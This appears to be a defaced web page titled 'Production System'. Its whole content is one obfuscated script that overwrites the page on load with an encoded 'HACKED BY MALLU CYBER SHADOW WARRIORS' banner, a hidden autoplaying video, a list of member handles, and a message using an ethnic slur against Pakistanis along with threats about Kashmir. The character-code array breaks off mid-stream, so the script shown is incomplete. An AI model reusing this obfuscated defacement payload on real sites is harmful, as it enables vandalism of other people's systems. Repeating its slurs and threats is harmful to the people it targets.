Production System

 

<script>document.documentElement.innerHTML=(String.fromCharCode(60, 104, 116, 109, 108, 32, 120, 109, 108, 110, 115, 61, 34, 104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 119, 51, 46, 111, 114, 103, 47, 49, 57, 57, 57, 47, 120, 104, 116, 109, 108, 34, 62, 10, 60, 104, 101, 97, 100, 62, 10, 60, 109, 101, 116, 97, 32, 104, 116, 116, 112, 45, 101, 113, 117, 105, 118, 61, 34, 99, 111, 110, 116, 101, 110, 116, 45, 84, 121, 112, 101, 34, 32, 99, 111, 110, 116, 101, 110, 116, 61, 34, 116, 101, 120, 116, 47, 104, 116, 109, 108, 59, 32, 99, 104, 97, 114, 115, 101, 116, 61, 117, 116, 102, 45, 56, 34, 62, 10, 60, 116, 105, 116, 108, 101, 62, 72, 65, 67, 75, 69, 68, 32, 66, 89, 32, 77, 65, 76, 76, 85, 32, 67, 89, 66, 69, 82, 32, 83, 72, 65, 68, 79, 87, 32, 87, 65, 82, 82, 73, 79, 82, 83, 60, 47, 116, 105, 116, 108, 101, 62, 10, 60, 108, 105, 110, 107, 32, 104, 114, 101, 102, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 102, 111, 110, 116, 115, 46, 103, 111, 111, 103, 108, 101, 97, 112, 105, 115, 46, 99, 111, 109, 47, 99, 115, 115, 63, 102, 97, 109, 105, 108, 121, 61, 78, 111, 118, 97, 43, 83, 113, 117, 97, 114, 101, 124, 79, 114, 98, 105, 116, 114, 111, 110, 124, 81, 117, 97, 110, 116, 105, 99, 111, 34, 32, 114, 101, 108, 61, 34, 115, 116, 121, 108, 101, 115, 104, 101, 101, 116, 34, 62, 10, 60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 39, 104, 116, 116, 112, 115, 58, 47, 47, 99, 100, 110, 46, 106, 115, 100, 101, 108, 105, 118, 114, 46, 110, 101, 116, 47, 112, 97, 114, 116, 105, 99, 108, 101, 115, 46, 106, 115, 47, 50, 46, 48, 46, 48, 47, 112, 97, 114, 116, 105, 99, 108, 101, 115, 46, 109, 105, 110, 46, 106, 115, 39, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62, 32, 10, 60, 115, 99, 114, 105, 112, 116, 32, 116, 121, 112, 101, 61, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 32, 115, 114, 99, 61, 34, 98, 103, 46, 106, 115, 34, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62, 10, 60, 115, 116, 121, 108, 101, 32, 116, 121, 112, 101, 61, 34, 116, 101, 120, 116, 47, 99, 115, 115, 34, 62, 10, 32, 98, 111, 100, 121, 32, 123, 10, 32, 32, 98, 97, 99, 107, 103, 114, 111, 117, 110, 100, 58, 32, 35, 48, 48, 48, 59, 10, 32, 32, 109, 97, 114, 103, 105, 110, 58, 32, 48, 59, 10, 125, 10, 46, 114, 111, 116, 97, 116, 105, 111, 110, 32, 123, 10, 111, 110, 109, 111, 117, 115, 101, 100, 111, 119, 110, 58, 115, 116, 111, 112, 59, 10, 97, 110, 105, 109, 97, 116, 105, 111, 110, 45, 110, 97, 109, 101, 58, 32, 114, 111, 116, 97, 116, 101, 32, 59, 10, 97, 110, 105, 109, 97, 116, 105, 111, 110, 45, 100, 117, 114, 97, 116, 105, 111, 110, 58, 32, 56, 115, 59, 10, 97, 110, 105, 109, 97, 116, 105, 111, 110, 45, 112, 108, 97, 121, 45, 115, 116, 97, 116, 101, 58, 32, 114, 117, 110, 110, 105, 110, 103, 59, 10, 97, 110, 105, 109, 97, 116, 105, 111, 110, 45, 116, 105, 109, 105, 110, 103, 45, 102, 117, 110, 99, 116, 105, 111, 110, 58, 32, 108, 105, 110, 101, 97, 114, 59, 10, 97, 110, 105, 109, 97, 116, 105, 111, 110, 45, 105, 116, 101, 114, 97, 116, 105, 111, 110, 45, 99, 111, 117, 110, 116, 58, 32, 105, 110, 102, 105, 110, 105, 116, 101, 59, 10, 111, 112, 97, 99, 105, 116, 121, 58, 32, 49, 46, 48, 59, 102, 105, 108, 116, 101, 114, 58, 32, 97, 108, 112, 104, 97, 40, 111, 112, 97, 99, 105, 116, 121, 61, 53, 48, 41, 59, 125, 32, 105, 109, 103, 58, 104, 111, 118, 101, 114, 32, 123, 111, 112, 97, 99, 105, 116, 121, 58, 32, 49, 46, 48, 59, 102, 105, 108, 116, 101, 114, 58, 32, 97, 108, 112, 104, 97, 40, 111, 112, 97, 99, 105, 116, 121, 61, 49, 48, 48, 41, 59, 125, 10, 64, 107, 101, 121, 102, 114, 97, 109, 101, 115, 32, 114, 111, 116, 97, 116, 101, 123, 10, 49, 48, 37, 32, 123, 116, 114, 97, 110, 115, 102, 111, 114, 109, 58, 114, 111, 116, 97, 116, 101, 89, 40, 51, 54, 100, 101, 103, 41, 125, 10, 50, 48, 37, 32, 123, 116, 114, 97, 110, 115, 102, 111, 114, 109, 58, 114, 111, 116, 97, 116, 101, 89, 40, 55, 50, 100, 101, 103, 41, 125, 10, 51, 48, 37, 32, 123, 116, 114, 97, 110, 115, 102, 111, 114, 109, 58, 114, 111, 116, 97, 116, 101, 89, 40, 49, 48, 56, 100, 101, 103, 41, 125, 10, 52, 48, 37, 32, 123, 116, 114, 97, 110, 115, 102, 111, 114, 109, 58, 114, 111, 116, 97, 116, 101, 89, 40, 49, 52, 52, 100, 101, 103, 41, 125, 10, 53, 48, 37, 32, 123, 116, 114, 97, 110, 115, 102, 111, 114, 109, 58, 114, 111, 116, 97, 116, 101, 89, 40, 49, 56, 48, 100, 101, 103, 41, 125, 10, 54, 48, 37, 32, 123, 116, 114, 97, 110, 115, 102, 111, 114, 109, 58, 114, 111, 116, 97, 116, 101, 89, 40, 50, 49, 54, 100, 101, 103, 41, 125, 10, 55, 48, 37, 32, 123, 116, 114, 97, 110, 115, 102, 111, 114, 109, 58, 114, 111, 116, 97, 116, 101, 89, 40, 50, 53, 50, 100, 101, 103, 41, 125, 10, 56, 48, 37, 32, 123, 116, 114, 97, 110, 115, 102, 111, 114, 109, 58, 114, 111, 116, 97, 116, 101, 89, 40, 50, 56, 56, 100, 101, 103, 41, 125, 10, 57, 48, 37, 32, 123, 116, 114, 97, 110, 115, 102, 111, 114, 109, 58, 114, 111, 116, 97, 116, 101, 89, 40, 51, 50, 52, 100, 101, 103, 41, 125, 10, 49, 48, 48, 37, 32, 123, 116, 114, 97, 110, 115, 102, 111, 114, 109, 58, 114, 111, 116, 97, 116, 101, 89, 40, 51, 54, 48, 100, 101, 103, 41, 125, 10, 125, 10, 60, 47, 115, 116, 121, 108, 101, 62, 10, 10, 60, 47, 104, 101, 97, 100, 62, 10, 60, 98, 111, 100, 121, 32, 100, 105, 114, 61, 34, 108, 116, 114, 34, 32, 97, 108, 105, 110, 107, 61, 34, 35, 48, 48, 51, 51, 70, 70, 34, 32, 32, 108, 105, 110, 107, 61, 34, 103, 114, 101, 121, 34, 32, 116, 101, 120, 116, 61, 34, 103, 114, 101, 121, 34, 32, 118, 108, 105, 110, 107, 61, 34, 35, 70, 70, 48, 48, 48, 48, 34, 62, 10, 60, 100, 105, 118, 32, 105, 100, 61, 34, 106, 115, 45, 112, 97, 114, 116, 105, 99, 108, 101, 115, 34, 62, 60, 47, 100, 105, 118, 62, 32, 32, 10, 32, 32, 10, 60, 100, 105, 118, 32, 115, 116, 121, 108, 101, 61, 34, 119, 105, 100, 116, 104, 58, 49, 48, 48, 37, 59, 32, 112, 111, 115, 105, 116, 105, 111, 110, 58, 97, 98, 115, 111, 108, 117, 116, 101, 59, 32, 116, 111, 112, 58, 48, 59, 34, 62, 10, 10, 60, 100, 105, 118, 32, 115, 116, 121, 108, 101, 61, 34, 102, 111, 110, 116, 45, 102, 97, 109, 105, 108, 121, 58, 39, 79, 114, 98, 105, 116, 114, 111, 110, 39, 44, 32, 99, 117, 114, 115, 105, 118, 101, 59, 32, 32, 102, 111, 110, 116, 45, 115, 105, 122, 101, 58, 52, 51, 112, 120, 59, 32, 99, 111, 108, 111, 114, 58, 35, 102, 102, 102, 59, 32, 108, 101, 116, 116, 101, 114, 45, 115, 112, 97, 99, 105, 110, 103, 58, 48, 112, 120, 59, 32, 116, 101, 120, 116, 45, 97, 108, 105, 103, 110, 58, 99, 101, 110, 116, 101, 114, 34, 62, 10, 60, 104, 53, 32, 115, 116, 121, 108, 101, 61, 34, 109, 97, 114, 103, 105, 110, 58, 48, 59, 32, 112, 97, 100, 100, 105, 110, 103, 58, 52, 48, 112, 120, 32, 48, 32, 49, 48, 112, 120, 32, 48, 34, 62, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 35, 48, 48, 102, 102, 102, 48, 59, 34, 62, 72, 65, 67, 75, 69, 68, 32, 66, 89, 60, 47, 115, 112, 97, 110, 62, 60, 98, 114, 62, 10, 32, 32, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 35, 102, 57, 57, 56, 51, 57, 34, 62, 77, 65, 76, 76, 85, 32, 67, 89, 66, 60, 47, 115, 112, 97, 110, 62, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 35, 102, 102, 102, 34, 62, 69, 82, 32, 83, 72, 65, 68, 79, 87, 60, 47, 115, 112, 97, 110, 62, 32, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 35, 51, 100, 98, 102, 50, 54, 34, 62, 87, 65, 82, 82, 73, 79, 82, 83, 60, 47, 115, 112, 97, 110, 62, 60, 47, 104, 53, 62, 10, 60, 47, 100, 105, 118, 62, 32, 32, 10, 32, 32, 10, 60, 104, 53, 32, 97, 108, 105, 103, 110, 61, 34, 99, 101, 110, 116, 101, 114, 34, 62, 60, 102, 111, 110, 116, 32, 115, 105, 122, 101, 61, 34, 53, 34, 32, 115, 116, 121, 108, 101, 61, 34, 102, 111, 110, 116, 45, 102, 97, 109, 105, 108, 121, 58, 79, 114, 98, 105, 116, 114, 111, 110, 59, 32, 108, 101, 116, 116, 101, 114, 45, 115, 112, 97, 99, 105, 110, 103, 58, 49, 112, 120, 59, 34, 62, 32, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 35, 102, 102, 52, 97, 49, 97, 34, 62, 60, 98, 62, 70, 69, 69, 76, 32, 84, 72, 69, 32, 80, 79, 87, 69, 82, 32, 79, 70, 60, 47, 98, 62, 60, 47, 115, 112, 97, 110, 62, 32, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 79, 82, 65, 78, 71, 69, 34, 62, 73, 78, 60, 47, 115, 112, 97, 110, 62, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 119, 104, 105, 116, 101, 34, 62, 68, 73, 60, 47, 115, 112, 97, 110, 62, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 35, 51, 100, 98, 102, 50, 54, 34, 62, 65, 78, 60, 47, 115, 112, 97, 110, 62, 32, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 35, 102, 102, 52, 97, 49, 97, 34, 62, 72, 65, 67, 75, 69, 82, 83, 32, 60, 47, 115, 112, 97, 110, 62, 60, 47, 102, 111, 110, 116, 62, 60, 98, 114, 62, 10, 32, 32, 60, 105, 109, 103, 32, 99, 108, 97, 115, 115, 61, 34, 114, 111, 116, 97, 116, 105, 111, 110, 34, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 115, 56, 46, 112, 111, 115, 116, 105, 109, 103, 46, 99, 99, 47, 53, 50, 117, 102, 50, 53, 117, 100, 120, 47, 109, 97, 108, 108, 117, 95, 99, 121, 98, 101, 114, 95, 115, 104, 97, 100, 111, 119, 95, 119, 97, 114, 114, 105, 111, 114, 115, 46, 112, 110, 103, 34, 32, 115, 116, 121, 108, 101, 61, 34, 112, 97, 100, 100, 105, 110, 103, 45, 116, 111, 112, 58, 50, 50, 112, 120, 59, 34, 32, 97, 108, 116, 61, 34, 77, 97, 108, 108, 117, 32, 67, 121, 98, 101, 114, 32, 83, 104, 97, 100, 111, 119, 32, 87, 97, 114, 114, 105, 111, 114, 115, 34, 32, 119, 105, 100, 116, 104, 61, 34, 50, 54, 48, 34, 32, 97, 108, 105, 103, 110, 61, 34, 98, 111, 116, 116, 111, 109, 34, 62, 32, 60, 47, 104, 53, 62, 10, 32, 32, 10, 32, 32, 10, 32, 32, 60, 100, 105, 118, 32, 115, 116, 121, 108, 101, 61, 34, 102, 111, 110, 116, 45, 102, 97, 109, 105, 108, 121, 58, 39, 79, 114, 98, 105, 116, 114, 111, 110, 39, 44, 32, 115, 97, 110, 115, 45, 115, 101, 114, 105, 102, 59, 32, 102, 111, 110, 116, 45, 115, 105, 122, 101, 58, 50, 53, 112, 120, 59, 32, 108, 105, 110, 101, 45, 104, 101, 105, 103, 104, 116, 58, 51, 48, 112, 120, 59, 34, 62, 10, 32, 32, 10, 60, 104, 53, 32, 97, 108, 105, 103, 110, 61, 34, 99, 101, 110, 116, 101, 114, 34, 62, 60, 102, 111, 110, 116, 32, 32, 102, 111, 110, 116, 61, 34, 34, 32, 115, 116, 121, 108, 101, 61, 34, 116, 101, 120, 116, 45, 115, 104, 97, 100, 111, 119, 58, 32, 48, 112, 120, 32, 48, 112, 120, 32, 51, 48, 112, 120, 32, 98, 108, 97, 99, 107, 34, 32, 59, 61, 34, 34, 32, 99, 111, 108, 111, 114, 61, 34, 35, 102, 102, 55, 100, 48, 48, 34, 62, 32, 77, 69, 83, 83, 65, 71, 69, 32, 84, 79, 32, 80, 79, 82, 75, 73, 83, 84, 65, 78, 73, 32, 76, 65, 77, 69, 82, 83, 60, 98, 114, 62, 10, 32, 32, 66, 69, 84, 84, 69, 82, 32, 83, 84, 65, 89, 32, 65, 87, 65, 89, 32, 70, 82, 79, 77, 32, 73, 78, 68, 73, 65, 78, 32, 67, 89, 66, 69, 82, 32, 83, 80, 65, 67, 69, 60, 98, 114, 62, 10, 32, 32, 89, 79, 85, 32, 87, 73, 76, 76, 32, 78, 79, 84, 32, 71, 69, 84, 32, 75, 65, 83, 72, 77, 73, 82, 46, 66, 89, 32, 72, 65, 67, 75, 73, 78, 71, 32, 73, 78, 84, 79, 32, 73, 78, 68, 73, 65, 78, 32, 87, 69, 66, 83, 73, 84, 69, 83, 60, 47, 102, 111, 110, 116, 62, 60, 47, 104, 53, 62, 10, 32, 32, 10, 60, 104, 53, 32, 97, 108, 105, 103, 110, 61, 34, 99, 101, 110, 116, 101, 114, 34, 62, 60, 102, 111, 110, 116, 32, 32, 102, 111, 110, 116, 61, 34, 34, 32, 115, 116, 121, 108, 101, 61, 34, 116, 101, 120, 116, 45, 115, 104, 97, 100, 111, 119, 58, 32, 48, 112, 120, 32, 48, 112, 120, 32, 53, 48, 112, 120, 32, 103, 114, 101, 101, 110, 59, 34, 32, 99, 111, 108, 111, 114, 61, 34, 119, 104, 105, 116, 101, 34, 62, 87, 69, 32, 65, 82, 69, 32, 76, 69, 71, 73, 79, 78, 46, 46, 46, 60, 98, 114, 62, 10, 32, 32, 87, 69, 32, 68, 79, 32, 78, 79, 84, 32, 70, 79, 82, 71, 73, 86, 69, 46, 46, 46, 60, 98, 114, 62, 10, 32, 32, 87, 69, 32, 68, 79, 32, 78, 79, 84, 32, 70, 79, 82, 71, 69, 84, 46, 46, 46, 32, 60, 98, 114, 62, 10, 32, 32, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 51, 100, 98, 102, 50, 54, 34, 62, 69, 88, 80, 69, 67, 84, 32, 85, 83, 46, 46, 46, 60, 47, 115, 112, 97, 110, 62, 60, 47, 102, 111, 110, 116, 62, 60, 47, 104, 53, 62, 10, 60, 104, 53, 32, 97, 108, 105, 103, 110, 61, 34, 99, 101, 110, 116, 101, 114, 34, 62, 60, 102, 111, 110, 116, 32, 115, 105, 122, 101, 61, 34, 53, 34, 32, 102, 111, 110, 116, 61, 34, 34, 32, 99, 111, 108, 111, 114, 61, 34, 119, 104, 105, 116, 101, 34, 62, 10, 32, 32, 60, 100, 105, 118, 32, 105, 100, 61, 34, 102, 111, 111, 116, 101, 114, 34, 62, 10, 32, 32, 32, 32, 60, 100, 105, 118, 32, 105, 100, 61, 34, 105, 110, 102, 111, 34, 32, 97, 108, 105, 103, 110, 61, 34, 67, 69, 78, 84, 69, 82, 34, 62, 32, 60, 98, 62, 45, 61, 91, 32, 60, 47, 98, 62, 32, 60, 97, 32, 104, 114, 101, 102, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 119, 119, 119, 46, 102, 97, 99, 101, 98, 111, 111, 107, 46, 99, 111, 109, 47, 77, 97, 108, 108, 117, 45, 67, 121, 98, 101, 114, 45, 83, 104, 97, 100, 111, 119, 45, 87, 97, 114, 114, 105, 111, 114, 115, 45, 49, 56, 56, 54, 48, 48, 56, 53, 56, 49, 54, 54, 56, 52, 55, 54, 47, 34, 32, 116, 97, 114, 103, 101, 116, 61, 34, 95, 98, 108, 97, 110, 107, 34, 62, 60, 98, 62, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 35, 51, 100, 98, 102, 50, 54, 34, 62, 67, 79, 78, 84, 65, 67, 84, 32, 77, 65, 76, 76, 85, 32, 67, 89, 66, 69, 82, 32, 83, 72, 65, 68, 79, 87, 32, 87, 65, 82, 82, 73, 79, 82, 83, 32, 60, 47, 115, 112, 97, 110, 62, 60, 47, 98, 62, 60, 47, 97, 62, 32, 60, 98, 62, 93, 61, 45, 60, 47, 98, 62, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 32, 32, 60, 98, 114, 62, 10, 32, 32, 32, 32, 60, 102, 111, 111, 116, 101, 114, 32, 105, 100, 61, 34, 100, 101, 116, 34, 32, 115, 116, 121, 108, 101, 61, 34, 112, 111, 115, 105, 116, 105, 111, 110, 58, 102, 105, 120, 101, 100, 59, 32, 102, 111, 110, 116, 45, 102, 97, 109, 105, 108, 121, 58, 79, 114, 98, 105, 116, 114, 111, 110, 59, 32, 108, 101, 102, 116, 58, 48, 112, 120, 59, 32, 114, 105, 103, 104, 116, 58, 48, 112, 120, 59, 32, 98, 111, 116, 116, 111, 109, 58, 48, 112, 120, 59, 32, 112, 97, 100, 100, 105, 110, 103, 58, 49, 112, 120, 32, 48, 59, 32, 102, 111, 110, 116, 45, 119, 101, 105, 103, 104, 116, 58, 110, 111, 114, 109, 97, 108, 59, 32, 108, 101, 116, 116, 101, 114, 45, 115, 112, 97, 99, 105, 110, 103, 58, 49, 112, 120, 59, 32, 116, 101, 120, 116, 45, 97, 108, 105, 103, 110, 58, 99, 101, 110, 116, 101, 114, 59, 32, 102, 111, 110, 116, 45, 115, 105, 122, 101, 58, 49, 54, 112, 120, 59, 32, 98, 111, 114, 100, 101, 114, 45, 116, 111, 112, 58, 32, 49, 112, 120, 32, 115, 111, 108, 105, 100, 32, 35, 70, 70, 70, 70, 70, 70, 59, 32, 98, 111, 114, 100, 101, 114, 45, 98, 111, 116, 116, 111, 109, 58, 32, 49, 112, 120, 32, 115, 111, 108, 105, 100, 32, 35, 70, 70, 70, 70, 70, 70, 34, 62, 60, 102, 111, 110, 116, 32, 99, 111, 108, 111, 114, 61, 34, 119, 104, 105, 116, 101, 34, 62, 60, 102, 111, 110, 116, 32, 99, 111, 108, 111, 114, 61, 34, 119, 104, 105, 116, 101, 34, 62, 71, 114, 101, 97, 116, 122, 32, 58, 60, 47, 102, 111, 110, 116, 62, 10, 32, 32, 32, 32, 32, 32, 60, 109, 97, 114, 113, 117, 101, 101, 32, 115, 99, 114, 111, 108, 108, 97, 109, 111, 117, 110, 116, 61, 34, 53, 34, 32, 115, 99, 114, 111, 108, 108, 100, 101, 108, 97, 121, 61, 34, 57, 48, 34, 32, 119, 105, 100, 116, 104, 61, 34, 56, 48, 37, 34, 62, 32, 10, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 60, 100, 105, 118, 32, 115, 116, 121, 108, 101, 61, 34, 112, 97, 100, 100, 105, 110, 103, 45, 116, 111, 112, 58, 54, 112, 120, 59, 34, 62, 10, 32, 32, 32, 32, 32, 32, 60, 98, 62, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 79, 82, 65, 78, 71, 69, 34, 62, 82, 48, 48, 55, 32, 72, 85, 78, 55, 51, 54, 60, 47, 115, 112, 97, 110, 62, 32, 124, 32, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 35, 102, 102, 102, 34, 62, 74, 72, 48, 78, 32, 54, 49, 80, 80, 51, 54, 60, 47, 115, 112, 97, 110, 62, 32, 124, 32, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 35, 51, 100, 98, 102, 50, 54, 34, 62, 51, 52, 71, 76, 51, 32, 53, 72, 51, 76, 76, 60, 47, 115, 112, 97, 110, 62, 32, 124, 32, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 79, 82, 65, 78, 71, 69, 34, 62, 74, 48, 110, 53, 110, 48, 119, 60, 47, 115, 112, 97, 110, 62, 32, 124, 32, 10, 32, 32, 32, 32, 32, 32, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 35, 102, 102, 102, 34, 62, 74, 52, 49, 53, 48, 78, 60, 47, 115, 112, 97, 110, 62, 32, 124, 32, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 35, 51, 100, 98, 102, 50, 54, 34, 62, 53, 72, 52, 68, 48, 87, 32, 80, 48, 49, 53, 48, 78, 60, 47, 115, 112, 97, 110, 62, 32, 124, 32, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 79, 82, 65, 78, 71, 69, 34, 62, 51, 52, 71, 76, 51, 60, 47, 115, 112, 97, 110, 62, 32, 124, 32, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 35, 102, 102, 102, 34, 62, 87, 49, 55, 67, 72, 51, 82, 60, 47, 115, 112, 97, 110, 62, 32, 124, 32, 60, 115, 112, 97, 110, 32, 115, 116, 121, 108, 101, 61, 34, 99, 111, 108, 111, 114, 58, 35, 51, 100, 98, 102, 50, 54, 34, 62, 71, 82, 48, 48, 55, 60, 47, 115, 112, 97, 110, 62, 32, 124, 60, 47, 98, 62, 10, 32, 32, 32, 32, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 60, 47, 109, 97, 114, 113, 117, 101, 101, 62, 10, 32, 32, 32, 32, 32, 32, 60, 47, 102, 111, 110, 116, 62, 10, 10, 32, 32, 32, 32, 32, 32, 60, 100, 105, 118, 32, 115, 116, 121, 108, 101, 61, 34, 118, 105, 115, 105, 98, 105, 108, 105, 116, 121, 58, 104, 105, 100, 100, 101, 110, 59, 32, 111, 118, 101, 114, 102, 108, 111, 119, 58, 104, 105, 100, 100, 101, 110, 59, 32, 119, 105, 100, 116, 104, 58, 49, 112, 120, 59, 32, 104, 101, 105, 103, 104, 116, 58, 49, 112, 120, 59, 34, 62, 10, 32, 32, 32, 32, 32, 32, 60, 101, 109, 98, 101, 100, 32, 119, 105, 100, 116, 104, 61, 34, 49, 34, 32, 104, 101, 105, 103, 104, 116, 61, 34, 49, 34, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 119, 119, 119, 46, 121, 111, 117, 116, 117, 98, 101, 46, 99, 111, 109, 47, 101, 109, 98, 101, 100, 47, 53, 85, 66, 76, 112, 67, 100, 73, 45, 87, 99, 63, 97, 117, 116, 111, 112, 108, 97, 121, 61, 49, 59, 34, 32, 62, 60, 47, 101, 109, 98, 101, 100, 62, 10, 32, 32, 32, 32, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 60, 47, 102, 111, 111, 116, 101, 114, 62, 10, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 60, 47, 102, 111, 110, 116, 62, 60, 47, 104, 53, 62, 32, 10, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 10, 32, 32, 10, 32, 32, 10, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 10, 32, 32, 10, 32, 32, 10, 60, 115, 99, 114, 105, 112, 116, 62, 10, 112, 97, 114, 116, 105, 99, 108, 101, 115, 74, 83, 40, 10, 32, 32, 39, 106, 115, 45, 112, 97, 114, 116, 105, 99, 108, 101, 115, 39, 44, 32, 123, 10, 32, 32, 32, 32, 39, 112, 97, 114, 116, 105, 99, 108, 101, 115, 39, 58, 32, 123, 10, 32, 32, 32, 32, 32, 32, 39, 110, 117, 109, 98, 101, 114, 39, 58, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 118, 97, 108, 117, 101, 39, 58, 32, 50, 48, 48, 10, 32, 32, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 32, 32, 39, 99, 111, 108, 111, 114, 39, 58, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 118, 97, 108, 117, 101, 39, 58, 32, 91, 39, 35, 102, 102, 56, 52, 48, 99, 39, 44, 32, 39, 35, 101, 50, 101, 50, 101, 50, 39, 44, 32, 39, 35, 49, 54, 98, 56, 48, 48, 39, 93, 10, 32, 32, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 32, 32, 39, 115, 104, 97, 112, 101, 39, 58, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 116, 121, 112, 101, 39, 58, 32, 39, 99, 105, 114, 99, 108, 101, 39, 10, 32, 32, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 32, 32, 39, 111, 112, 97, 99, 105, 116, 121, 39, 58, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 118, 97, 108, 117, 101, 39, 58, 32, 49, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 114, 97, 110, 100, 111, 109, 39, 58, 32, 102, 97, 108, 115, 101, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 97, 110, 105, 109, 39, 58, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 39, 101, 110, 97, 98, 108, 101, 39, 58, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 32, 32, 39, 115, 105, 122, 101, 39, 58, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 118, 97, 108, 117, 101, 39, 58, 32, 51, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 114, 97, 110, 100, 111, 109, 39, 58, 32, 116, 114, 117, 101, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 97, 110, 105, 109, 39, 58, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 39, 101, 110, 97, 98, 108, 101, 39, 58, 32, 102, 97, 108, 115, 101, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 32, 32, 39, 108, 105, 110, 101, 95, 108, 105, 110, 107, 101, 100, 39, 58, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 101, 110, 97, 98, 108, 101, 39, 58, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 32, 32, 39, 109, 111, 118, 101, 39, 58, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 101, 110, 97, 98, 108, 101, 39, 58, 32, 116, 114, 117, 101, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 115, 112, 101, 101, 100, 39, 58, 32, 50, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 100, 105, 114, 101, 99, 116, 105, 111, 110, 39, 58, 32, 39, 110, 111, 110, 101, 39, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 114, 97, 110, 100, 111, 109, 39, 58, 32, 116, 114, 117, 101, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 115, 116, 114, 97, 105, 103, 104, 116, 39, 58, 32, 102, 97, 108, 115, 101, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 39, 111, 117, 116, 95, 109, 111, 100, 101, 39, 58, 32, 39, 111, 117, 116, 39, 10, 32, 32, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 125, 44, 10, 32, 32, 32, 32, 39, 105, 110, 116, 101, 114, 97, 99, 116, 105, 118, 105, 116, 121, 39, 58, 32, 123, 10, 32, 32, 32, 32, 32, 32, 39, 100, 101, 116, 101, 99, 116, 95, 111, 110, 39, 58, 32, 39, 99, 97, 110, 118, 97, 115, 39, 44, 10, 32, 32, 32, 32, 32, 32, 39, 101, 118, 101, 